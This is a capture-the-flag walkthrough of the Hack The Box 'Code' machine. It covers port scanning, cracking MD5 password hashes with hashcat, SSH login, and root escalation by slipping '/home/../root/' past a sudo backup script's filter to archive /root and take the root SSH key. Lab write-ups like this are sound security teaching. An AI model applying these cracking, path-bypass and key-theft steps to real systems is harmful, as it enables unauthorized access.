CodePlatform: Hack The Box
IP Address: 10.10.11.62
Difficulty: Easy Linux
The Code box presents a realistic challenge involving password cracking, SQL exploration, path traversal, and privilege escalation through creative abuse of a flawed backup script (backy.sh). The key flow is:
backy.sh path bypass → read /root and capture root.txtnmap -p- 10.10.11.62 --min-rate 10000
nmap -p 22,5000 10.10.11.62 -sCV -oN nmapscan
Open ports: 22/SSH, 5000/HTTP (Gunicorn) → Python code editor on web.
759b74ce43947f5f4c91aeddc3e5bad3 → development
3de6f30c4a09c27fc71932bfc68474be → nafeelswordsmaster
hashcat -m 0 hash.txt rockyou.txt
ssh martin@10.10.11.62
Password: nafeelswordsmaster
Found: /home/app-production/app, user.txt, and task.json
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
/rootThe backy.sh script filters ../ but not equivalent sequences:
"directories_to_archive": [
"/home/../root/"
]
sudo backy.sh hi.json
tar -xvjf code_home_.._root_2025_June.tar.bz2
cat root/root.txt
/root/.ssh/id_rsassh root@10.10.11.62 -i id_rsa
Writeup by inksec
GitHub: [https://github.com/inkedqt]